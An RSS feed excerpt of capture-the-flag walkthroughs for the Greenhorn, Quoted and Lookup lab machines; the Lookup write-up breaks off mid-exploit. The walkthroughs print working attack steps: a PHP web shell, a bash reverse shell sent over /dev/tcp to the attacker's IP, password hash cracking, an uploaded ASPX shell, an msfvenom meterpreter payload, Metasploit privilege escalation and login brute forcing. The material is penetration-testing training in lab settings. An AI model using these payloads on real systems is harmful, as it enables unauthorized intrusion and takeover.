            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HsoTCRXEcxW8UTlY" /></figure><p>Greenhorn machine on Hack The Box is an easy challenge designed to test basic enumeration and exploitation skills. Upon initiating a scan, you’ll discover open ports on SSH (22/tcp), HTTP (80/tcp), and an unusual service on port 3000. The HTTP port reveals a web application running Pluck CMS, which is vulnerable to a known exploit that allows for remote code execution. By leveraging this vulnerability, attackers can upload a PHP web shell, gain initial access, and escalate privileges. Further exploitation involves decrypting a password hidden in a PDF, and finally achieving root access.</p><h3>ENUMERATION</h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)<br>|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)<br>80/tcp open http nginx 1.18.0 (Ubuntu)<br>|_http-title: Did not follow redirect to http://greenhorn.htb/<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>3000/tcp open ppp?<br>| fingerprint-strings:<br>| GenericLines, Help, RTSPRequest:<br>| HTTP/1.1 400 Bad Request<br>| Content-Type: text/plain; charset=utf-8<br>| Connection: close<br>| Request<br>| GetRequest:<br>| HTTP/1.0 200 OK<br>| Cache-Control: max-age=0, private, must-revalidate, no-transform<br>| Content-Type: text/html; charset=utf-8<br>| Set-Cookie: i_like_gitea=3b06e2433b72771e; Path=/; HttpOnly; SameSite=Lax<br>| Set-Cookie: _csrf=GWW3kcmvBn0-N3cs6oB4fV1txOs6MTcyMTY0MDc0OTMyMjI3NzA0MA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax<br>| X-Frame-Options: SAMEORIGIN<br>| Date: Mon, 22 Jul 2024 09:32:29 GMT<br>| &lt;!DOCTYPE html&gt;<br>| &lt;html lang=&quot;en-US&quot; class=&quot;theme-auto&quot;&gt;<br>| &lt;head&gt;<br>| &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>| &lt;title&gt;GreenHorn&lt;/title&gt;<br>| &lt;link rel=&quot;manifest&quot; href=&quot;data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX<br>| HTTPOptions:<br>| HTTP/1.0 405 Method Not Allowed<br>| Allow: HEAD<br>| Allow: HEAD<br>| Allow: GET<br>| Cache-Control: max-age=0, private, must-revalidate, no-transform<br>| Set-Cookie: i_like_gitea=37670e5b424829ea; Path=/; HttpOnly; SameSite=Lax<br>| Set-Cookie: _csrf=mZzWMhLfodF4GsQUO_SSHgI2xO06MTcyMTY0MDc1NDYyMjUxNjY0OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax<br>| X-Frame-Options: SAMEORIGIN<br>| Date: Mon, 22 Jul 2024 09:32:34 GMT<br>|_ Content-Length: 0<br>1 service unrecognized despite returning data.</pre><p>The site on port 80 redirects to a domain so let’s add it to our hosts file.</p><pre>echo &#39;10.129.66.118 greenhorn.htb&#39; &gt;&gt; /etc/hosts</pre><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p><strong>ctfenum </strong>got me this:</p><pre>[!] Attacking port 80<br>[!] Comments found in: http://greenhorn.htb/?file=welcome-to-greenhorn<br>pluck 4.7.18</pre><p>Looking for CVEs associated with this software and versions i got his:</p><blockquote><a href="https://www.exploit-db.com/exploits/51592">https://www.exploit-db.com/exploits/51592</a></blockquote><p>I have just recreated the screnario of the exploit so i change the minimum stuff.</p><pre>┌──(think㉿PYTHON)-[~/home]<br>└─$ mkdir mirabbas<br>┌──(think㉿PYTHON)-[~/home]<br>└─$ cd mirabbas<br>┌──(think㉿PYTHON)-[~/home/mirabbas]<br>└─$ echo &#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39; &gt; miri.php<br>┌──(think㉿PYTHON)-[~/home/mirabbas]<br>└─$ cd ..<br>┌──(think㉿PYTHON)-[~/home]<br>└─$ zip -r mirabbas.zip mirabbas<br>adding: mirabbas/ (stored 0%)<br>adding: mirabbas/miri.php (stored 0%)</pre><p>I have installed the dependencies:</p><pre>pip install requests_toolbelt</pre><p>Now…. these are the lines we need to change on the exploit (The one with the password will be changed later bu i just added it here with the other ones to be organized):</p><pre>login_url = &quot;http://greenhorn.htb/login.php&quot;<br>upload_url = &quot;http://greenhorn.htb/admin.php?action=installmodule&quot;<br>rce_url=&quot;http://greenhorn.htb/data/modules/mirabbas/miri.php?cmd=id<br>login_payload = {&quot;cont1&quot;: &quot;iloveyou1&quot;,&quot;bogus&quot;: &quot;&quot;,&quot;submit&quot;: &quot;Log in&quot;}</pre><h3>EXPLOITATION</h3><p>On the site on port <strong>3000 </strong>we have Gitea instance.</p><blockquote>http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/admin.php</blockquote><p>I have just registered and exploring the public repos… there is a repo with the <strong>pluck </strong>instance code stored. In there, the pass file contains an encrypted password for the admin user i guess.</p><blockquote>http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php</blockquote><pre>&lt;?php<br>$ww = &#39;d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163&#39;;<br>?&gt;</pre><p>Let’s grab it and crack this password:</p><pre>┌──(think㉿PYTHON)-[~/home]<br>└─$ echo &#39;admin:d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163&#39; &gt; hashes.txt</pre><pre>└─$ john hashes.txt -w=rockyou.txt - rules=best64 - format=Raw-SHA512<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])<br>Warning: poor OpenMP scalability for this hash type, consider - fork=16<br>Will run 16 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>iloveyou1 (admin)<br>1g 0:00:00:00 DONE (2024–07–22 11:52) 2.380g/s 39009p/s 39009c/s 39009C/s 123456..christal<br>Use the &quot; - show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Now we use the exploit.</p><pre>└─$ python exploit.py<br>Login account<br>ZIP file download.<br>command: id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>Once we confirms the RCE, we can send a reverse shell.</p><pre>curl http://greenhorn.htb/data/modules/mirabbas/miri.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.18%2F6666%200%3E%261%22</pre><p>in our nc we get the shell.</p><pre>nc -nlvp 6666<br>listening on [any] 6666 …<br>connect to [10.10.16.18] from (UNKNOWN) [10.129.151.113] 60646<br>bash: cannot set terminal process group (997): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ id<br>id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ hostname<br>hostname<br>greenhorn<br>www-data@greenhorn:~/html/pluck/data/modules/mirabbas$</pre><h3>ROOT</h3><p>The password for <strong>junior </strong>user was the same as the one for admin user:</p><pre>junior : iloveyou1</pre><pre>www-data@greenhorn:/home$ su junior<br>Password:<br>junior@greenhorn:/home$</pre><p>There is a PDF file on the home folder for the user. Let’s grab it.</p><pre>junior@greenhorn:~$ python3 -m http.server<br>Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) …<br>10.10.16.18 - - [22/Jul/2024 10:14:41] &quot;GET /Using%20OpenVAS.pdf HTTP/1.1&quot; 200 -<br>Keyboard interrupt received, exiting.</pre><p>In our machine:</p><pre>wget $(IP):8000/&#39;Using OpenVAS.pdf&#39;<br> - 2024–07–22 12:14:40 -  http://10.129.151.113:8000/Using%20OpenVAS.pdf<br>Connecting to 10.129.151.113:8000… connected.<br>HTTP request sent, awaiting response… 200 OK<br>Length: 61367 (60K) [application/pdf]<br>Saving to: &#39;Using OpenVAS.pdf&#39;<br>Using OpenVAS.pdf 100%[============================================================================&gt;] 59.93K - .-KB/s in 0.1s<br>2024–07–22 12:14:41 (469 KB/s) - &#39;Using OpenVAS.pdf&#39; saved [61367/61367]</pre><p>The PDF have a depicted password for <strong>root </strong>on it.</p><p>Extract the images from the PDF with this tool:</p><pre>└─$ pdfimages -j Using\ OpenVAS.pdf image<br>└─$ ls<br>creds.txt foothold.txt image-000.ppm</pre><p>Now we have to depict the image. We can use this tool:</p><blockquote><a href="https://github.com/spipm/Depix">https://github.com/spipm/Depix</a></blockquote><pre>python3 /opt/depix/depix.py \<br>  -p &quot;/home/think/home/image-000.ppm&quot; \<br>  -s &quot;/opt/depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png&quot; \<br>  -o &quot;/home/think/home/image-000.ppm_depicted.png&quot;</pre><pre>2024–07–22 14:46:07,376 - Loading pixelated image from /home/think/home/image-000.ppm<br>2024–07–22 14:46:07,383 - Loading search image from /opt/depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png<br>2024–07–22 14:46:07,801 - Finding color rectangles from pixelated space<br>2024–07–22 14:46:07,802 - Found 252 same color rectangles<br>2024–07–22 14:46:07,802–190 rectangles left after moot filter<br>2024–07–22 14:46:07,802 - Found 1 different rectangle sizes<br>2024–07–22 14:46:07,802 - Finding matches in search image<br>2024–07–22 14:46:07,802 - Scanning 190 blocks with size (5, 5)<br>2024–07–22 14:46:07,822 - Scanning in searchImage: 0/1674<br>2024–07–22 14:46:40,818 - Removing blocks with no matches<br>2024–07–22 14:46:40,818 - Splitting single matches and multiple matches<br>2024–07–22 14:46:40,823 - [16 straight matches | 174 multiple matches]<br>2024–07–22 14:46:40,823 - Trying geometrical matches on single-match squares<br>2024–07–22 14:46:41,075 - [29 straight matches | 161 multiple matches]<br>2024–07–22 14:46:41,075 - Trying another pass on geometrical matches<br>2024–07–22 14:46:41,297 - [41 straight matches | 149 multiple matches]<br>2024–07–22 14:46:41,297 - Writing single match results to output<br>2024–07–22 14:46:41,297 - Writing average results for multiple matches to output<br>2024–07–22 14:46:43,202 - Saving output image to: /home/think/home/image-000.ppm_depicted.png</pre><p>After the program finishes we have a depicted image.</p><pre>┌──(think㉿PYTHON)-[~/home]<br>└─$ ls -la<br>-rwxrwxrwx 1 think think   75 Jul 22 14:50  creds.txt<br>-rwxrwxrwx 1 think think 1.6K Jul 22 14:50  exploit.py<br>-rwxrwxrwx 1 think think 5.6K Jul 22 14:50  foothold.txt<br>-rwxrwxrwx 1 think think  135 Jul 22 14:50  hashes.txt<br>-rwxrwxrwx 1 think think  19K Jul 22 14:50  image-000.ppm<br>-rwxrwxrwx 1 think think 2.6K Jul 22 14:50  image-000.ppm_depicted.png<br>drwxrwxrwx 1 think think 4.0K Jul 22 12:10  mirabbas<br>-rwxrwxrwx 1 think think  361 Jul 22 14:50  mirabbas.zip<br>drwxrwxrwx 1 think think 4.0K Jul 22 12:10  outputs<br>-rwxrwxrwx 1 think think 3.1K Jul 22 14:50  privesc.txt<br>lrwxrwxrwx 1 think think   58 Jul 22 14:50  rockyou.txt -&gt; /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt<br>-rwxrwxrwx 1 think think  60K Jul 22 14:50 &#39;Using OpenVAS.pdf&#39;<br>lrwxrwxrwx 1 think think   12 Jul 22 14:50  windows -&gt; /opt/Windows</pre><p>Let’s look at the depicted image:</p><pre>┌──(think㉿PYTHON)-[~/home]<br>└─$ open image-000.ppm_depicted.png<br>Opening in existing browser session.</pre><p>I have taken notes of the password on the depicted image and tried it on root user.</p><pre>junior@greenhorn:/tmp$ su root<br>Password:<br>root@greenhorn:/tmp# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@greenhorn:/tmp# hostname<br>greenhorn<br>root@greenhorn:/tmp#</pre><p><a href="https://www.hackthebox.com/achievement/machine/955843/617">Owned GreenHorn from Hack The Box!</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20cd8e9d6b39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quoted]]></title>
            <link>https://medium.com/@josemlwdf/quoted-8bc49c277845?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bc49c277845</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[quoted]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 12:19:28 GMT</pubDate>
            <atom:updated>2024-11-27T12:19:28.595Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/304/0*pcqM7099T_smidvK" /></figure><p><strong>Quoted</strong> is a machine of easy difficulty from HackMyVM. <strong>Exploitation</strong> involves leveraging the FTP service to upload a malicious ASPX shell and using it to gain initial access. Further steps involve the use of Metasploit to create a reverse shell, followed by the SMB server for file transfer. The privilege escalation to nt authority\system was done by exploiting a vulnerable Windows 7 Service Pack 1, demonstrating a comprehensive approach to solving the machine.</p><h3>ENUMERATION</h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>21/tcp open ftp Microsoft ftpd<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| 10–05–24 11:16AM &lt;DIR&gt; aspnet_client<br>| 10–04–24 11:27PM 689 iisstart.htm<br>|_10–04–24 11:27PM 184946 welcome.png<br>| ftp-syst:<br>|_ SYST: Windows_NT<br>80/tcp open http Microsoft IIS httpd 7.5<br>|_http-title: IIS7<br>|_http-server-header: Microsoft-IIS/7.5<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49155/tcp open msrpc Microsoft Windows RPC<br>49156/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open msrpc Microsoft Windows RPC<br>Service Info: Host: QUOTED-PC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:<br>| smb2-security-mode:<br>| 2:1:0:<br>|_ Message signing enabled but not required<br>| smb-security-mode:<br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>| smb-os-discovery:<br>| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>| Computer name: quoted-PC<br>| NetBIOS computer name: QUOTED-PC\x00<br>| Workgroup: WORKGROUP\x00<br>|_ System time: 2024–11–27T10:55:04+02:00<br>|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: 0s<br>| smb2-time:<br>| date: 2024–11–27T08:55:04<br>|_ start_date: 2024–11–27T08:53:09<br>|_nbstat: NetBIOS name: QUOTED-PC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 08:00:27:21:f4:33 (Oracle VirtualBox virtual NIC)</pre><h3>EXPLOITATION</h3><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p><strong>ctfenum </strong>got me this:</p><pre>[!] Attacking port 21<br>[!] FTP<br>[!] If the FTP server does not lists the content, use the commands like:<br>ftp:&gt;passive<br>ftp:&gt;bin<br>ftp:&gt;ls -la<br>[+] Server have anonymous login enabled<br>======================================================================<br>[!] Attacking port 21<br>[+] FTP Credentials &quot;anonymous:nopass&quot;<br>[!] Listing FTP root<br>10–05–24 11:16AM &lt;DIR&gt; aspnet_client<br>10–04–24 11:27PM 689 iisstart.htm<br>10–04–24 11:27PM 184946 welcome.png<br>======================================================================<br>[!] Attacking port 80<br>[!] Microsoft IIS server, Fuzzing for ASP, ASPX files.<br>[+] Microsoft-IIS/7.5<br>[!] Possible Technologies<br>[+] ASP.NET<br>[!] URL: http://192.168.56.107:80<br>[!] feroxbuster -u http://192.168.56.107:80 -w /opt/CTFEnum/CTFenum/mods/wordlist.txt -x php,txt,asp,aspx -t 100 - no-state - extract-links -C 400,401,403,404,501,502,503 -r -k -E -g -d 1 - silent</pre><p>The path here was clear, an open ftp service exposing the root of a web server. We just needed to upload a file that would be able to execute system code on this server.</p><p>I have prepared a reverse shell aspx file.</p><p>Now i have connected to the ftp service and uploaded the file:</p><pre>└─$ ftp $(IP)<br>Connected to 192.168.56.107.<br>220 Microsoft FTP Service<br>Name (192.168.56.107:think): anonymous<br>331 Anonymous access allowed, send identity (e-mail name) as password.<br>Password:<br>230 User logged in.<br>Remote system type is Windows_NT.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||49160|)<br>150 Opening ASCII mode data connection.<br>10–05–24 11:16AM &lt;DIR&gt; aspnet_client<br>10–04–24 11:27PM 689 iisstart.htm<br>10–04–24 11:27PM 184946 welcome.png<br>226 Transfer complete.<br>ftp&gt; put shell.aspx<br>local: shell.aspx remote: shell.aspx<br>229 Entering Extended Passive Mode (|||49161|)<br>150 Opening ASCII mode data connection.<br>100% |***************************************************************************************************************| 16394 81.42 MiB/s - : - ETA<br>226 Transfer complete.<br>16394 bytes sent in 00:00 (8.28 MiB/s)<br>ftp&gt; exit<br>221 Goodbye.</pre><p>The next step is to call our file on the http server so it will execute our code:</p><pre>curl $(IP)/shell.aspx</pre><p>An in our <strong>nc </strong>we will capture the reverse shell:</p><pre>└─$ ncx 7777<br>listening on [any] 7777 …<br>connect to [172.31.216.232] from (UNKNOWN) [172.31.208.1] 62234<br>Spawn Shell…<br>Microsoft Windows [S r m 6.1.7601]<br>Telif Hakk © 2009 Microsoft Corporation. T m haklar sakl d r.<br>c:\windows\system32\inetsrv&gt;whoami<br>whoami<br>nt authority\network service<br>c:\windows\system32\inetsrv&gt;hostname<br>hostname<br>quoted-PC<br>c:\windows\system32\inetsrv&gt;</pre><h3>ROOT</h3><p>So, now we can execute code on the machine. Since it’s an older version of Windows, once again… Metasploit is our friend getting exploits for privilege escalation.</p><p>I have created a <strong>msfvenom </strong>payload:</p><pre>┌──(think㉿PYTHON)-[~/home/windows]<br>└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=6666 -f exe -o reverse.exe<br>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 203846 bytes<br>Final size of exe file: 210432 bytes<br>Saved as: reverse.exe</pre><p>Then we need to put the exe file on the machine, i have used an smb server for this:</p><pre>impacket-smbserver share $(pwd) -smb2support -user &quot;smb&quot; -password &quot;smb&quot;<br>172.17.0.1<br>172.31.216.232<br>net use z: \\ip\share /user:smb smb<br>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies<br>[*] Config file parsed</pre><p>Once i have mounted the SMB share on the target i can copy the files like this:</p><pre>c:\Users\Public&gt;copy z:\reverse.exe .<br>copy z:\reverse.exe .<br>1 dosya kopyaland .<br>c:\Users\Public&gt;reverse.exe<br>reverse.exe</pre><p>I have started a <strong>Metasploit </strong>listener to capture our connection:</p><pre>└─$ sudo msfconsole -q -x &quot;use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set LHOST 0.0.0.0; set LPORT 6666; set ExitOnSession false; set AutoRunScript post/windows/manage/migrate; run -z -j&quot;</pre><pre>[sudo] password for think:<br>[*] Using configured payload generic/shell_reverse_tcp<br>payload =&gt; windows/x64/meterpreter_reverse_tcp<br>LHOST =&gt; 0.0.0.0<br>LPORT =&gt; 6666<br>ExitOnSession =&gt; false<br>AutoRunScript =&gt; post/windows/manage/migrate<br>[*] Exploit running as background job 0.<br>[*] Exploit completed, but no session was created.<br>[*] Started reverse TCP handler on 0.0.0.0:6666<br>msf6 exploit(multi/handler) &gt; [*] Session ID 1 (172.31.216.232:6666 -&gt; 172.31.208.1:62450) processing AutoRunScript &#39;post/windows/manage/migrate&#39;<br>[*] Running module against QUOTED-PC<br>[*] Current server process: reverse.exe (604)<br>[*] Spawning notepad.exe process to migrate into<br>[*] Spoofing PPID 0<br>[*] Migrating into 3068<br>[+] Successfully migrated into process 3068<br>[*] Meterpreter session 1 opened (172.31.216.232:6666 -&gt; 172.31.208.1:62450) at 2024–11–27 10:17:05 +0100<br>msf6 exploit(multi/handler) &gt; sessions 1<br>[*] Starting interaction with 1…<br>meterpreter &gt;</pre><p>Now is time to launch the metasploit suggester module to gives us the choices of exploits to escalate privileges:</p><pre>msf6 post(multi/recon/local_exploit_suggester) &gt; set session 1<br>session =&gt; 1<br>msf6 post(multi/recon/local_exploit_suggester) &gt; run<br>[*] fe80::e03e:b98a:a3cb:fc51 - Collecting local exploits for x64/windows…<br>[*] Collecting exploit 306 / 2461<br>1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.<br>2 exploit/windows/local/bypassuac_dotnet_profiler Yes The target appears to be vulnerable.<br>3 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.<br>4 exploit/windows/local/bypassuac_sdclt Yes The target appears to be vulnerable.<br>5 exploit/windows/local/cve_2019_1458_wizardopium Yes The target appears to be vulnerable.<br>6 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!<br>7 exploit/windows/local/cve_2020_1054_drawiconex_lpe Yes The target appears to be vulnerable.<br>8 exploit/windows/local/cve_2021_40449 Yes The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!<br>9 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.<br>10 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.<br>11 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.<br>12 exploit/windows/local/ms15_078_atmfd_bof Yes The service is running, but could not be validated.<br>13 exploit/windows/local/ms16_014_wmi_recv_notif Yes The target appears to be vulnerable.<br>14 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.<br>15 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable.<br>16 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.<br>17 exploit/windows/local/virtual_box_opengl_escape Yes The service is running, but could not be validated.</pre><p>After a few attempts with these local privilege escalation modules i got this one to work.</p><pre>msf6 exploit(windows/local/ms16_075_reflection_juicy) &gt; run<br>[-] Handler failed to bind to 192.168.56.1:4444:- -<br>[*] Started reverse TCP handler on 0.0.0.0:4444<br>[+] Target appears to be vulnerable (Windows 7 Service Pack 1)<br>[*] Launching notepad to host the exploit…<br>[+] Process 960 launched.<br>[*] Reflectively injecting the exploit DLL into 960…<br>[*] Injecting exploit into 960…<br>[*] Exploit injected. Injecting exploit configuration into 960…<br>[*] Configuration injected. Executing exploit…<br>[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.<br>[*] Sending stage (177734 bytes) to 172.31.208.1<br>[*] Meterpreter session 2 opened (172.31.216.232:4444 -&gt; 172.31.208.1:62635) at 2024–11–27 10:31:55 +0100<br>meterpreter &gt; shell<br>Process 2616 created.<br>Channel 1 created.<br>Microsoft Windows [S r m 6.1.7601]<br>Telif Hakk © 2009 Microsoft Corporation. T m haklar sakl d r.<br>C:\Windows\system32&gt;whoami<br>whoami<br>nt authority\system<br>C:\Windows\system32&gt;hostname<br>hostname<br>quoted-PC<br>C:\Windows\system32&gt;</pre><blockquote><a href="https://hackmyvm.eu/public/?u=josemlwdf"><strong>https://hackmyvm.eu/public/?u=josemlwdf</strong></a></blockquote><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bc49c277845" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lookup]]></title>
            <link>https://medium.com/@josemlwdf/lookup-1d1be50fa7a6?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d1be50fa7a6</guid>
            <category><![CDATA[look-up]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Mon, 25 Nov 2024 09:53:16 GMT</pubDate>
            <atom:updated>2024-11-25T09:53:16.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*4dfCqj4IAR17NVsJ95bMzw.png" /></figure><p>“Lookup” offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking.</p><h3><strong>ENUMERATION</strong></h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)<br>| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)<br>|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)<br>80/tcp open http Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: Did not follow redirect to http://lookup.thm<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>The service in port <strong>80 </strong>is redirecting to a domain so let’s add it to the hosts file to get <strong>DNS </strong>resolution.</p><pre>echo &quot;[target ip] lookup.thm&quot; &gt;&gt; /etc/hosts</pre><p>Visiting the page we can see a Login Form.</p><p>Playing with the form we can see after testing the <strong>admin </strong>username that it <strong>leaks usernames</strong> with the message:</p><blockquote>Wrong password. Please try again.</blockquote><h3>EXPLOITATION</h3><p>Using <strong>ffuf </strong>we managed to get other user than <strong>admin</strong>:</p><pre>ffuf -request log.txt -w /usr/share/seclists/Usernames/Names/names.txt -mc all -fs 74</pre><pre>[Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 40ms]<br>* FUZZ: admin<br>[Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 29ms]<br>* FUZZ: jose</pre><p>Again using <strong>ffuf </strong>we got a <strong>password</strong>:</p><pre>ffuf -request log.txt -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -mc all -fs 62</pre><pre>[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 47ms]<br>* FUZZ: password123</pre><p>Using the creds redirects to a <strong>subdomain</strong>:</p><pre>Unknown host: files.lookup.thm</pre><p>We will once again add it to our hosts file</p><p>When visiting the subdomain the page have the title “<strong>files:elFinder</strong>”</p><p>Clicking on the “<strong>About this Software</strong>” button give us this:</p><blockquote>elFinder</blockquote><blockquote>Web file manager</blockquote><blockquote>Version: 2.1.47</blockquote><p>Looking for it in “<strong>Searchsploit</strong>”:</p><pre>searchsploit elfinder 2.1.47</pre><pre>elFinder 2.1.47 - &#39;PHP connector&#39; Command Injection | php/webapps/46481.py<br>elFinder PHP Connector &lt; 2.1.48 - &#39;exiftran&#39; Command Injection (Metasploit) | php/remote/46539.rb</pre><p>Using “<strong>Metasploit”</strong>:</p><pre>msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) &gt; set rhosts 192.168.204.136<br>rhosts =&gt; 192.168.204.136<br>msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) &gt; set vhost files.lookup.thm<br>vhost 